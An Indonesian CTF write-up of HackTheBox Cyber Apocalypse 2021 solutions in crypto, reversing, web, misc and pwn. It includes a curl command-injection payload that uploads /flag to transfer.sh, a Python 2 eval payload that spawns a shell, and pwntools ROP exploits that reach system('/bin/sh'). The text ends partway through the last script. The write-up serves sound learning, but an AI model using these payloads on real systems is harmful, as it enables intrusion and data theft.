Cyber Apocalypse - HackTheBox 2021 | Writeup
Halo. Postingan kedua nih xD. Kali ini ngebahas challenge yang berhasil penulis kerjakan pada event Cyber Apocalypse CTF - HackTheBox 2021.
Warmup
Welcome! (25 points | 2144 solves)
Challenge Description:
Join our Discord Server and the CA-2021 channels…
Solution:
Terdapat flag di server HackTheBox pada channel #ca-2021-announcements
FLAG : CHTB{CA_CTF_i$_F*ing_EPIC}
Crypto
Nintendo Base64 (300 points | 1928 solves)
Challenge Description:
Aliens are trying to cause great misery for the human race by using our own cryptographic technology to encrypt all our games.
Fortunately, the aliens haven't played CryptoHack so they're making several noob mistakes. Therefore they've given us a chance to recover our games and find their flags.
They've tried to scramble data on an N64 but don't seem to understand that encoding and ASCII art are not valid types of encryption!
This challenge will raise 33 euros for a good cause.
[output.txt]:
Vm 0w eE5GbFdWW GhT V0d4VVYwZ
G9 XV mx yWk ZOV 1JteD BaV WRH
YW xa c1 NsWl dS M1 JQ WV d4
S2RHVkljRm Rp UjJoMlZrZH plRmRHV m5WaVJtUl hUVEZLZVZk V1VrZFpWMU pHVDFaV1Z tSkdXazlXYW twdl Yx Wm Fj bHBFVWxWTlZ
Xdz BWa 2M xVT FSc 1d uTl hi R2h XWW taS 1dG VXh XbU ZTT VdS elYy cz FWM kY2VmtwV2
JU RX dZ ak Zr U0 ZOc2JGWmlS a3 BY V1 d0 YV lV MH hj RVpYYlVaVFRWW mF lV mt 3V
lR GV 01 ER kh Zak 5rVj JFe VR Ya Fdha 3BIV mpGU 2NtR kdX bWx oT TB KW VYxW lNSM
Wx XW kV kV mJ GWlRZ bXMxY2xWc 1V sZ FRiR1J5VjJ 0a1YySkdj RVpWVmxKV 1V GRTlQUT09
Yang buat ascii art nya niat wkwkwk.
Solution:
Ini sebenernya hanya string dari base64. Kita cukup me-remove whitespace(32) dan newline(10) yang ada pada string tersebut. Tapi ternyata, string ini di encode berulang-ulang, jadi kita harus membuat script yang dapat melakukan decode pada string tersebut dan akan berhenti saat menemukan string ‘CHTB’.
*Sebenernya ada sih toolsnya, tapi biar keren aja :u
FLAG : CHTB{3nc0d1ng_n0t_3qu4l_t0_3ncrypt10n}
PhaseStream 1 (300 points | 1217 solves)
Challenge Description:
The aliens are trying to build a secure cipher to encrypt all our games called "PhaseStream". They've heard that stream ciphers are pretty good. The aliens have learned of the XOR operation which is used to encrypt a plaintext with a key. They believe that XOR using a repeated 5-byte key is enough to build a strong stream cipher. Such silly aliens! Here's a flag they encrypted this way earlier. Can you decrypt it (hint: what's the flag format?) 2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904
This challenge will raise 33 euros for a good cause.
Ciphertext:
2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904
hmm… XOR menggunakan 5 byte key. deja vu? Sebelumnya penulis sudah pernah mencoba challenge seperti ini pada post sebelumnya (angstromCTF 2021 Writeup - Exclusive XOR). Intinya adalah mengambil potentialKey list yang kemudian akan di XOR dengan partial plaintext “CHTB{“, sehingga menghasilkan keyList. Dan keyList inilah yang akan kita gunakan untuk melakukan ranged bruteforce XOR terhadap cipher text.
FLAG : CHTB{u51ng_kn0wn_pl41nt3xt}
PhaseStream 2 (300 points | 919 solves)
Challenge Description:
The aliens have learned of a new concept called "security by obscurity". Fortunately for us they think it is a great idea and not a description of a common mistake. We've intercepted some alien comms and think they are XORing flags with a single-byte key and hiding the result inside 9999 lines of random data, Can you find the flag?
This challenge will raise 33 euros for a good cause.
Diberikan ciphertext didalam sebuah file yang berisikan 9999 ciphertext.
[challenge.txt]:
3cc60a255dd328130e4203bb42f3be22d2935dbe5d9ebf498ce2
44e4088c49ce3aea69832d3c0a6cd43443ab1865daab8eab0fdc
bc0e3b0b7a600d5ff319ba661f6a077b058f1bd73c2c8f646c78
...
...
...
...
c1f7002883a18da5b29eb425e7d46e709ed8ff760a885fbab3ec
Sedikit cerita, karena penulis ini sangat noob (serius gak boong :u). Awalnya penulis mencoba untuk melakukan bruteforce setiap string tersebut dengan setiap single byte pada ascii table. Bayangin aja.. 9999 string di xor sebanyak 256x, berapa dah tu hasilnya, gataudah :u. Berikut adalah output dari kebodohan penulis, sebuah text file yang berukuran lebih dari 200MB yang gabisa dibuka karena makan memory. wkwkwkwk
Sudah cukup dengan kebodohannya, namanya juga orang baru belajar >:(
Solution:
Yang harus kita lakukan adalah melakukan XOR partial known plaintext “CHTB{“ terhadap 9999 string tersebut, tetapi hanya sekali saja. Hal ini bertujuan untuk menemukan adanya bytes yang sama, yang diulang secara beruntun(dalam kasus ini 5x, sesuai dengan panjang known plaintext). Lalu bytes yang sudah kita temukan itu, akan kita gunakan untuk melakukan XOR terhadap ciphertext.
FLAG : CHTB{n33dl3_1n_4_h4yst4ck}
PhaseStream 3 (300 points | 1217 solves)
Challenge Description:
The aliens have learned the stupidity of their misunderstanding of Kerckhoffs's principle. Now they're going to use a well-known stream cipher (AES in CTR mode) with a strong key. And they'll happily give us poor humans the source because they're so confident it's secure!
This challenge will raise 33 euros for a good cause.
[phasestream.py]
from Crypto.Cipher import AES
from Crypto.Util import Counter
import os
KEY = os.urandom(16)
def encrypt(plaintext):
cipher = AES.new(KEY, AES.MODE_CTR, counter=Counter.new(128))
ciphertext = cipher.encrypt(plaintext)
return ciphertext.hex()
test = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented."
print(encrypt(test))
with open('flag.txt', 'rb') as f:
flag = f.read().strip()
print(encrypt(flag))
[output.txt]
464851522838603926f4422a4ca6d81b02f351b454e6f968a324fcc77da30cf979eec57c8675de3bb92f6c21730607066226780a8d4539fcf67f9f5589d150a6c7867140b5a63de2971dc209f480c270882194f288167ed910b64cf627ea6392456fa1b648afd0b239b59652baedc595d4f87634cf7ec4262f8c9581d7f56dc6f836cfe696518ce434ef4616431d4d1b361c
4b6f25623a2d3b3833a8405557e7e83257d360a054c2ea
Solution:
Diberikan file phasestream.py(dapat diliat diatas) dan output.txt yang berisikan cipher. Pada file phasestream.py terdapat sebuah plaintext yang ternyata adalah plaintext dari salah satu ciphertext yang ada didalam file output.txt (Penulis mengasumsikan yang baris pertama). Jadi untuk mendapatkan plaintext dari flag, yang harus kita lakukan adalah, meng-XOR cipher_test dengan test, lalu hasil dari XOR tersebut kita XOR kembali dengan flag.
from pwn import *
import binascii
cipher_of_known_plaintext = "464851522838603926f4422a4ca6d81b02f351b454e6f968a324fcc77da30cf979eec57c8675de3bb92f6c21730607066226780a8d4539fcf67f9f5589d150a6c7867140b5a63de2971dc209f480c270882194f288167ed910b64cf627ea6392456fa1b648afd0b239b59652baedc595d4f87634cf7ec4262f8c9581d7f56dc6f836cfe696518ce434ef4616431d4d1b361c"
cipher_of_known_plaintext = binascii.unhexlify(cipher_of_known_plaintext)
cipher_of_flag = "4b6f25623a2d3b3833a8405557e7e83257d360a054c2ea"
cipher_of_flag = binascii.unhexlify(cipher_of_flag)
known_plaintext = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented."
flag = xor( xor(cipher_of_known_plaintext, known_plaintext), cipher_of_flag)
flag = str(flag)[2:25] # comment this if u want to see the full string/bytes.
print(flag)
FLAG : CHTB{r3u53d_k3Y_4TT4cK}
SoulCrabber (300 points | 432 solves)
Challenge Description:
Aliens heard of this cool newer language called Rust, and hoped the safety it offers could be used to improve their stream cipher.
This challenge will raise 33 euros for a good cause.
[main.rs]
use rand::{Rng,SeedableRng};
use rand::rngs::StdRng;
use std::fs;
use std::io::Write;
fn get_rng() -> StdRng {
let seed = 13371337;
return StdRng::seed_from_u64(seed);
}
fn rand_xor(input : String) -> String {
let mut rng = get_rng();
return input
.chars()
.into_iter()
.map(|c| format!("{:02x}", (c as u8 ^ rng.gen::<u8>())))
.collect::<Vec<String>>()
.join("");
}
fn main() -> std::io::Result<()> {
let flag = fs::read_to_string("flag.txt")?;
let xored = rand_xor(flag);
println!("{}", xored);
let mut file = fs::File::create("out.txt")?;
file.write(xored.as_bytes())?;
Ok(())
}
[out.txt]
1b591484db962f7782d1410afa4a388f7930067bcef6df546a57d9f873
Solution:
Diberikan main.rs sebagai program yang melakukan enkripsi terhadap flag dan out.txt adalah output dari program (main.rs) tersebut. Awalnya penulis iseng, untuk menjalankan program tersebut dengan flag dummy (CHTB{AAAABBBBCCCCDDDDEEEEFFF}).
dummy yang digunakan: CHTB{AAAABBBBCCCCDDDDEEEEFFF}
cipher_dummy: 1b591484dbba0b5bf3e17a17cb3d1dff65173046fac7aa4e4925aed273
cipher_flag: 1b591484db962f7782d1410afa4a388f7930067bcef6df546a57d9f873
Saat dilihat, awalan dari hex ciphertext_dummy dengan ciphertext_flag terlihat sama, yaitu: “1b591484db”. Hal ini menunjukkan, key yang digunakan selalu sama.
from pwn import *
from os import path
import binascii
# https://play.rust-lang.org/
DIR = path.dirname(path.abspath(__file__))
plain_dummy = b"CHTB{AAAABBBBCCCCDDDDEEEEFFF}" # flag dummy
dummy_cipher = "1b591484dbba0b5bf3e17a17cb3d1dff65173046fac7aa4e4925aed273"
dummy_cipher = binascii.unhexlify(dummy_cipher)
# 1b591484db962f7782d1410afa4a388f7930067bcef6df546a57d9f873
flag_cipher = open(DIR + "/out.txt", "r").readline()
flag_cipher = binascii.unhexlify(flag_cipher)
key = xor(dummy_cipher, plain_dummy)
flag = xor(flag_cipher, key)
print(flag.decode())
FLAG : CHTB{mem0ry_s4f3_crypt0_f41l}
Reversing
Authenticator (300 points | 988 solves)
Challenge Description:
We managed to steal one of the extraterrestrials' authenticator device. If we manage to understand how it works and get their credentials, we may be able to bypass all of their security locked doors and gain access everywhere!
This challenge will raise 33 euros for a good cause.
File Information
> file ./authenticator
authenticator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=66286657ca5a06147189b419238b2971b11c72db, not stripped
Penulis sudah mencoba strings ./authenticator
, tetapi tidak ada yang menarik. Lalu penulis memutuskan untuk mendecompile binary tersebut.
Hasil Decompile - function main():
Hasil Decompile - function checkpin():
Solution:
Menarik.. function checkpin melakukan XOR dengan nilai 9, pada setiap karakter yang ada di string berikut:
}a:Vh|}a:g}8j=}89gV<p<}:dV8<Vg9}V<9V<:j|{:
Dan jika string yang kita input sesuai, maka kita berhasil login. Pertanyaannya string apakah ini? String ini adalah flag. Karena saat melakukan xor pada string ini dengan 9 (value 9, bukan string 9 yaa :u) muncul sebuah string 1337 yang bisa dibaca.
from pwn import *
cipher = "}a:Vh|}a:g}8j=}89gV<p<}:dV8<Vg9}V<9V<:j|{:"
pin = xor(cipher, 9)
# the pin is the flag, just wrap it with the flag format CHTF{the_pin}
print("CHTB{"+pin.decode()+"}")
FLAG : CHTB{th3_auth3nt1c4t10n_5y5t3m_15_n0t_50_53cur3}
Passphrase (300 points | 1229 solves)
Challenge Description:
You found one of their space suits forgotten in a room. You wear it, but before you go away, a guard stops you and asks some questions..
This challenge will raise 33 euros for a good cause
File Information
> file ./authenticator
./passphrase: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=60f6b6064d2e34a2b6a24dda9feb943b0b8c360f, not stripped
Hasil Decompile - function main():
Karakter-karakter berurut, yang bisa dibaca? Menarik.. I guess it was a flag and… it is :)
Solution:
Cukup mengambil karakter-karakter tersebut, rapihkan, lalu masukkan kedalam format flagnya. ‘CHTB{…}’.
FLAG : CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}
Web
Inspector Gadget (300 points | 1929 solves)
Challenge Description:
Inspector Gadget was known for having a multitude of tools available for every occasion. Can you find them all?
This challenge will raise 33 euros for a good cause.
Solution:
Berburu flag dengan inspect element :u
Tampilan Awal:
Flag ke-1:
Flag ke-2:
Flag ke-3:
FLAG : CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}
Caas (300 points | 797 solves)
Challenge Description:
cURL As A Service or CAAS is a brand new Alien application, built so that humans can test the status of their websites. However, it seems that the Aliens have not quite got the hang of Human programming and the application is riddled with issues.
This challenge will raise 43 euros for a good cause.
File Bisa didownload disini: [web_caas.zip]
Solution:
/web_caas/models/CommandModel.php
<?php
class CommandModel
{
public function __construct($url)
{
$this->command = "curl -sL " . escapeshellcmd($url);
}
public function exec()
{
exec($this->command, $output);
return $output;
}
}
Pada file tersebut, dapat dilihat, bahwa request kita yaitu “url” akan dieksekusi host pada service curl. Karena terdapat function escapeshellcmd(), kita hanya bisa menggunakan 1 command saja, yaitu “curl” (karena dalam string tersebut sudah ada command “curl”). Dan string yang sudah digabungkan tadi akan dieksekusi dalam function exec(). Berdasarkan hasil penjelajahan dan berselancar (gaya banget kawkawkawk), curl dapat digunakan untuk mentransfer file. Dan penulis menemukan website transfer.sh yang dapat kita gunakan sebagai receiver curl transfer yang akan kita lakukan.
/web_caas/static/js/main.js
var input = document.getElementById('command');
var output = document.getElementById("console-output");
document.getElementById("command").addEventListener('keydown', (e) => {
if (e.keyCode === 13) {
let host = input.value;
try {
new URL(host);
} catch {
return output.innerHTML = "Illegal Characters Detected";
}
output.innerHTML = '';
fetch('/api/curl', {
method: 'POST',
body: `ip=${host}`,
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
})
.then(resp => resp.json())
.then(data => {
output.innerHTML = data.message;
});
input.value = '';
}
});
Tetapi masalahnya ada disini, saat kita menekan ENTER pada keyboard untuk mengirim request (menggunakan web yang diberikan) request kita tidak akan dilaksanakan :’). Jadi penulis memutuskan untuk langsung melakukan request ke API dari program tersebut: http://ipaddress:port/api/curl
Penulis menggunakan postman untuk melakukan request langsung ke API tersebut.
Payload:
https://transfer.sh/nama_file_yang_diinginkan -T /directory_file/file_yang_ingin_dikirim
=>
https://transfer.sh/vaints_was_here -T /flag
Hasil Request menggunakan payload tersebut:
Response:
{"message":["https://transfer.sh/exNLy/vaints_was_here.txt"]}
=>
https://transfer.sh/exNLy/vaints_was_here.txt
Lalu tinggal buka deh output dari curl yang sudah kita lakukan tadi disini.
FLAG : CHTB{f1le_r3trieval_4s_a_s3rv1ce}
Misc
Alien Camp (300 points | 550 solves)
Challenge Description:
The Ministry of Galactic Defense now accepts human applicants for their specialised warrior unit, in exchange for their debt to be erased. We do not want to subject our people to this training and to be used as pawns in their little games. We need you to answer 500 of their questions to pass their test and take them down from the inside.
Netcat:
> nc 138.68.178.56 30423
Alien camp 👾
1. ❓
2. Take test!
> 1
Here is a little help:
🌞 -> 74 🍨 -> 66 ❌ -> 84 🍪 -> 96 🔥 -> 12 ⛔ -> 21 🍧 -> 58 👺 -> 64 👾 -> 48 🦄 -> 33
1. ❓
2. Take test!
> 2
You must answer 500 questions. You have only a few seconds for each question! Be fast! ⏰
Question 1:
🦄 * 🌞 = ?
Answer: 22222
Time: 9.07
Too slow! 🐌
Solution:
Kita harus mendapatkan value dari masing-masing simbol terlebih dahulu, lalu melakukan test dengan menjawab pertanyaan dengan benar sebanyak 500 kali untuk mendapatkan flag.
#!/usr/bin/env python
from pwn import *
from os import path
import sys
from pwnlib.replacements import sleep
def solve(io):
io.sendlineafter("> ", "1")
io.recvuntil("Here is a little help:\n\n")
sleep(3)
receivedValue = io.recvline().strip().decode().split(" -> ")
receivedValue = ("".join(receivedValue)).split(" ")
theDictionary = {}
for currentItem in receivedValue:
currentSymbol = currentItem[0]
currentValue = int(currentItem[1:])
theDictionary[currentSymbol] = currentValue
print(theDictionary)
io.sendlineafter("> ", "2") # answer the test
for x in range(500):
io.recvuntil(":\n\n")
theQuestion = io.recvline().strip().decode()[:-4]
for currentSymbol in theDictionary:
currentValue = theDictionary[currentSymbol]
theQuestion = theQuestion.replace(currentSymbol, str(currentValue))
theAnswer = eval(theQuestion)
print("== Question {} ==".format(str(x).rjust(3, "0") ))
print("[Q]",theQuestion)
print("[A]",theAnswer)
io.sendline(str(theAnswer))
io.interactive()
if __name__ == "__main__":
io = remote("188.166.172.13" ,30224)
solve(io)
sys.exit(0)
Output:
> python3 solve.py
...
...
== Question 495 ==
[Q] 44 + 40 - 54 * 40 * 95 + 43
[A] -205073
== Question 496 ==
[Q] 84 - 54
[A] 30
== Question 497 ==
[Q] 12 + 66 - 44 + 54
[A] 88
== Question 498 ==
[Q] 66 + 54 * 84 - 66 + 12
[A] 4548
== Question 499 ==
[Q] 44 * 12
[A] 528
[*] Switching to interactive mode
Answer:
Time: 0.23
Correct! ✔
Congratulations! 🎉
You are one of us now! 😎!
Here is a 🎁 for you: CHTB{3v3n_4l13n5_u53_3m0j15_t0_c0mmun1c4t3}
FLAG : CHTB{3v3n_4l13n5_u53_3m0j15_t0_c0mmun1c4t3}
Input as a Service (300 points | 535 solves)
Challenge Description:
In order to blend with the extraterrestrials, we need to talk and sound like them. Try some phrases in order to check if you can make them believe you are one of them.
This challenge will raise 33 euros for a good cause.
Netcat:
> nc 138.68.147.93 30064
2.7.18 (default, Apr 20 2020, 19:51:05)
[GCC 9.2.0]
Do you sound like an alien?
>>>
Vaints!
Traceback (most recent call last):
File "/app/input_as_a_service.py", line 16, in <module>
main()
File "/app/input_as_a_service.py", line 12, in main
text = input(' ')
File "<string>", line 1
Vaints!
^
SyntaxError: unexpected EOF while parsing
Solution:
Input kita berada pada text = input(' ')
. Dan menggunakan python2. Berikut adalah dokumentasi input() pada python2.
Input kita akan dieksekusi oleh eval. Jadi, kita bisa memanggil shell dengan bantuan library os pada python.
Payload:
__import__('os').system('/bin/sh')
Exploit:
> nc 138.68.147.93 30064
2.7.18 (default, Apr 20 2020, 19:51:05)
[GCC 9.2.0]
Do you sound like an alien?
>>>
__import__('os').system('/bin/sh')
>ls
cat
flag.txt
input_as_a_service.py
>cat flag.txt
CHTB{4li3n5_us3_pyth0n2.X?!}
FLAG : CHTB{4li3n5_us3_pyth0n2.X?!}
PWN
Controller (300 points | 265 solves)
Challenge Description:
The extraterrestrials have a special controller in order to manage and use our resources wisely, in order to produce state of the art technology gadgets and weapons for them. If we gain access to the controller's server, we can make them drain the minimum amount of resources or even stop them completeley. Take action fast!
This challenge will raise 33 euros for a good cause.
Diberikan 2 file yaitu [controller] dan [libc.so.6]
Binary Information:
phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/01Controller_SOLVED$ cs ./controller
[*] '/home/phobos/Documents/ctf/cyberApocalypse-HackTheBox/pwn/01Controller_SOLVED/controller'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Solution:
Hasil Decompile - function calculator():
Dapat dilihat, jika v4 atau nilai return dari function calc bernilai 65338 kita dapat melakukan input, yang dapat kita memicu buffer overflow. Setelah kita berhasil melakukan buffer overflow, yang penulis lakukan selanjutnya adalah melakukan leak address dari libc puts. Dilanjutkan dengan kalkulasi yang diakhiri dengan pemanggilan system(/bin/sh).
Hasil Decompile - function calc():
Disini penulis memanfaatkan opsi ketiga (perkalian), untuk membuat nilai return menjadi 65538.
#!/usr/bin/env python
from pwn import *
from os import path
import sys
from pwnlib.util.cyclic import cyclic_find
DIR = os.path.dirname(os.path.abspath(__file__))
TARGET=DIR+"/controller"
elf = ELF(TARGET)
libc = ELF(DIR+"/libc.so.6")
def intOverflow(io):
overflow = str(2**64) # overflow with unsigned int
satisfy = str(-65338)
io.sendline(overflow)
io.sendline(satisfy)
# Choose multiplication
io.sendline("3") # -1 * -65338 = 65338
def exploit(io):
raw_input("Fire GDB")
# Integer Overflow
intOverflow(io)
# ===================
RIP_OFFSET = cyclic_find(0x6161616b) # 40
PUTS_PLT = 0x400630
PUTS_GOT = 0x601fb0
MAIN_ADDRESS = 0x401124
CALCULATOR_ADDRESS = 0x401066
RET_GADGET = 0x400606
POP_RDI = 0x4011d3
p = b""
p += b"A" * (RIP_OFFSET)
p += p64(RET_GADGET)
p += p64(POP_RDI)
p += p64(PUTS_GOT)
p += p64(PUTS_PLT)
p += p64(RET_GADGET)
p += p64(MAIN_ADDRESS)
io.sendlineafter("> ", p)
io.recvuntil("Problem ingored\n") # typo? XD. But still nice challenge tho.
LEAKED_PUTS = io.recvline().strip()
LEAKED_PUTS = u64(LEAKED_PUTS.ljust(8,b"\x00"))
LIBC_BASE = LEAKED_PUTS - libc.sym.puts
LIBC_SYSTEM = LIBC_BASE + 0x04f550 # LIBC_SYSTEM = LEAKED_PUTS - 0x31550
LIBC_BIN_SH = LIBC_BASE + 0x1b3e1a # LIBC_BIN_SH = LEAKED_PUTS + 0x13337a
log.info("LIBC Puts : {}".format(hex(LEAKED_PUTS)))
log.info("LIBC SYSTEM : {}".format(hex(LIBC_SYSTEM)))
log.info("LIBC BINSH : {}".format(hex(LIBC_BIN_SH)))
intOverflow(io)
p = b""
p += b"A" * (RIP_OFFSET)
p += p64(RET_GADGET)
p += p64(POP_RDI)
p += p64(LIBC_BIN_SH)
p += p64(LIBC_SYSTEM)
io.sendline(p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1]=="r":
REMOTE = True
io = remote("138.68.177.159", 32579)
else:
LOCAL = True
io = process([TARGET,])
exploit(io)
sys.exit(0)
Exploit:
FLAG : CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}
Minefield (325 points | 167 solves)
Challenge Description:
We found one of the core power plants that drain all of our resources. One member of our team is an expert at mines. Plant the correct type of mine at the correct location to blow up the entire power plant, but be careful, otherwise we are all doomed!
This challenge will raise 33 euros for a good cause.
Diberikan file [minefield]
Binary Information:
phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/02Minefield_SOLVED$ cs ./minefield
[*] '/home/phobos/Documents/ctf/cyberApocalypse-HackTheBox/pwn/02Minefield_SOLVED/minefield'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Solution:
No RELRO? Uhuyyy..
Hasil Decompile - function menu():
Hasil Decompile - function choice():
Hasil Decompile - function mission():
Pertama, kita harus memilih 2(“Yes, I am ready”), agar program tidak exit (function choice). Lalu overwrite function address yang dilewati / yang dipanggil menjadi win address (0x40096b). Saat mengerjakan ini, penulis stuck disini sampai akhirnya mendapatkan “bantuan” dari seseorang. Makasih banyak bang.. Matur nuwun..
Setelah penulis pahami, _fini_array atau _fini akan dipanggil paling terakhir.
Jadi kita bisa overwrite address dari _fini atau _fini_array (0x601078) menjadi function win (_).
#!/usr/bin/env python
from pwn import *
from os import path
import sys
from pwnlib.util.cyclic import cyclic_find
DIR = os.path.dirname(os.path.abspath(__file__))
TARGET=DIR+"/minefield"
# context.log_level = "warn"
def exploit(io):
_fini_array = 0x601078 # _fini_array
WIN_FUNCTION = 0x40096b # _
# the idea here, is to overwrite an "address"
# in this case, I will overwrite the address of _fini_array
# and change it to the win function.
# I'm always ready
# IKUZOOO TEMERAAA, lol xD
io.sendlineafter("> ", "2")
io.sendline(str(hex(_fini_array))) # overwrite this address
io.sendline(str(hex(WIN_FUNCTION))) # to this address
# WAIT, THAT'S ALL? IT'S SO EZ??!!!
# I don't think so, it took me 2 days to realize it xDD
io.recvuntil("Mission accomplished! ✔")
print(io.recvline().decode()) # flag
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1]=="r":
REMOTE = True
io = remote("165.227.231.75", 30694)
else:
LOCAL = True
io = process([TARGET,])
exploit(io)
sys.exit(0)
Exploit:
phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/02Minefield_SOLVED$ python3 solve.py r
[+] Opening connection to 138.68.148.149 on port 30181: Done
[*] Switching to interactive mode
CHTB{d3struct0r5_m1n3f13ld}[*] Got EOF while reading in interactive
$
FLAG : CHTB{d3struct0r5_m1n3f13ld}
System dROP (325 points | 141 solves)
Challenge Description:
In the dark night, we managed to sneak in the plant that manages all the resources. Ready to deploy our root-kit and stop this endless draining of our planet, we accidentally triggered the alarm! Acid started raining from the ceiling, destroying almost everything but us and small terminal-like console. We can see no output, but it still seems to work, somehow..
This challenge will raise 33 euros for a good cause.
Diberikan file [system_drop]
Binary Information:
phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/03System_dROP_SOLVED$ cs system_drop
[*] '/home/phobos/Documents/ctf/cyberApocalypse-HackTheBox/pwn/03System_dROP_SOLVED/system_drop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Solution:
dROP? ROP? humm…
Jujur saja, ini adalah pertama kali penulis menemukan challenge seperti ini (ret2csu). Mohon dimaklumi, saya noob pak. xixixi.
Hasil decompile - function main():
$ gdb ./system_drop
warning: /home/phobos/pwndbg/gdbinit.py: No such file or directory
Reading symbols from ./system_drop...(no debugging symbols found)...done.
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000400400 _init
0x0000000000400430 alarm@plt
0x0000000000400440 read@plt
0x0000000000400450 _start
0x0000000000400480 _dl_relocate_static_pie
0x0000000000400490 deregister_tm_clones
0x00000000004004c0 register_tm_clones
0x0000000000400500 __do_global_dtors_aux
0x0000000000400530 frame_dummy
0x0000000000400537 _syscall
0x0000000000400541 main
0x0000000000400570 __libc_csu_init
0x00000000004005e0 __libc_csu_fini
0x00000000004005e4 _fini
pwndbg> x/3i _syscall
0x400537 <_syscall>: push rbp
0x400538 <_syscall+1>: mov rbp,rsp
0x40053b <_syscall+4>: syscall
pwndbg>
Yayy.. kita punya syscall, jadi kemungkinan soal ini memanfaatkan gadget syscall (0x40053b). Sebenarnya untuk memanfaatkan syscall kita sudah mempunyai 2 gadget yang bisa kita manfaatkan yaitu, pop rdi; ret;
dan pop rsi; pop r15; ret;
. Tetapi kita kekurang 1 gadget, yaitu untuk mengontrol rdx. Maka dari itu, kita akan memanfaatkan gadget yang ada pada __libc_csu_init
untuk mengontrol rdx, bahkan rax (walau tidak bisa langsung).
Gadget ini akan digunakan untuk mengambil value dari input kita yang ada didalam stack.
0x00000000004005ca <+90>: pop rbx
0x00000000004005cb <+91>: pop rbp
0x00000000004005cc <+92>: pop r12
0x00000000004005ce <+94>: pop r13
0x00000000004005d0 <+96>: pop r14
0x00000000004005d2 <+98>: pop r15
0x00000000004005d4 <+100>: ret
Gadget ini akan memindahkan/menetapkan (mov) value dari suatu register ke register lain.
rdx = r15, rsi = r14, edi = r13d, sedangkan address yang ada pada r12 adalah address yang akan dipanggil.
0x00000000004005b0 <+64>: mov rdx,r15
0x00000000004005b3 <+67>: mov rsi,r14
0x00000000004005b6 <+70>: mov edi,r13d
0x00000000004005b9 <+73>: call QWORD PTR [r12+rbx*8]
Sebelum itu, kita harus memikirkan terlebih dahulu apa yang harus kita lakukan untuk melewati “proteksi” yang ada dibawah ini. Sebetulnya cukup mudah, pada pop rbx
di gadget sebelumnya, kita mengambil value 0 dari stack untuk register rbx
dan pada pop rbp
, kita mengambil value 1 dari stack untuk register rbp
. Sehingga saat terjadi comparison (cmp) antara rbp
dan rbx
, kita bisa melewati “proteksi” tersebut.
0x00000000004005bd <+77>: add rbx,0x1
0x00000000004005c1 <+81>: cmp rbp,rbx
0x00000000004005c4 <+84>: jne 0x4005b0 <__libc_csu_init+64>
Tetapi dikarenakan buffer yang diberikan tidak cukup untuk sekali input, maka penulis memutuskan untuk memasukkan string /bin/sh terlebih dahulu ke dalam suatu memory address. Lalu kembali ke function main(). Dan selanjutnya melakukan ret2csu lagi, untuk mengatur rax menjadi 59 (execve) dan memanggil syscall.
#!/usr/bin/env python
from pwn import *
from os import path
import sys
from pwnlib.util.cyclic import cyclic_find
DIR = os.path.dirname(os.path.abspath(__file__))
TARGET=DIR+"/system_drop"
elf = ELF(TARGET)
"""
Helpful Resource:
https://tripoloski1337.github.io/ctf/2020/08/24/ret2csu-ROPEmporium.html
https://pwning.tech/2020/04/13/ret2csu/
https://amriunix.com/post/from-read-glibc-to-rce-x86_64/
"""
def ret2csu(GOT, RDI, RSI, RDX):
CSU_RET = 0x4005b0 # mov rdx, r15
p = b""
p += p64(0x0) # rbx
p += p64(0x1) # rbp
p += p64(GOT)
p += p64(RDI) # r13 -> edi (0xFFffFFff)
p += p64(RSI) # r14 -> rsi
p += p64(RDX) # r15 -> edx
p += p64(CSU_RET)
return p
def exploit(io):
raw_input("Fire GDB")
WRITE_BIN_SH_HERE = 0x601060
WRITE_DUMMY_HERE = 0x6010c0
MAIN_ADDRESS = 0x400541
READ_GOT = 0x601020
SYSCALL = 0x40053b
CSU_POP = 0x4005ca
_FINI = 0x600e48
RET_GADGET = 0x400416
POP_RDI = 0x00000000004005d3
POP_RSI_R15 = 0x00000000004005d1
p = b""
p += b"A" * (cyclic_find(0x6161616b)) # 40
p += p64(CSU_POP)
p += ret2csu(READ_GOT, 0, WRITE_BIN_SH_HERE, 8)
p += p64(RET_GADGET)
p += ret2csu(_FINI, 0x0, 0x0, 0x0) # for rax 0x3b
p += p64(0)*7
p += p64(MAIN_ADDRESS)
io.sendline(p)
io.sendline(b"/bin/sh\x00") # input /bin/sh to WRITE_HERE address
# ========================================
p = b""
p += b"A" * cyclic_find(0x61616b61) # 39
p += p64(CSU_POP)
p += ret2csu(READ_GOT, 0, WRITE_DUMMY_HERE, 59) # write dummy, with length of byte is 59
p += p64(RET_GADGET) # the purpose is, to get a value of 59 on rax
p += ret2csu(_FINI, 0x0, 0x0, 0x0)
p += p64(0)*7
p += p64(RET_GADGET) # ret -> syscall(rax=59, /bin/sh, 0, 0)
p += p64(POP_RDI)
p += p64(WRITE_BIN_SH_HERE)
p += p64(SYSCALL)
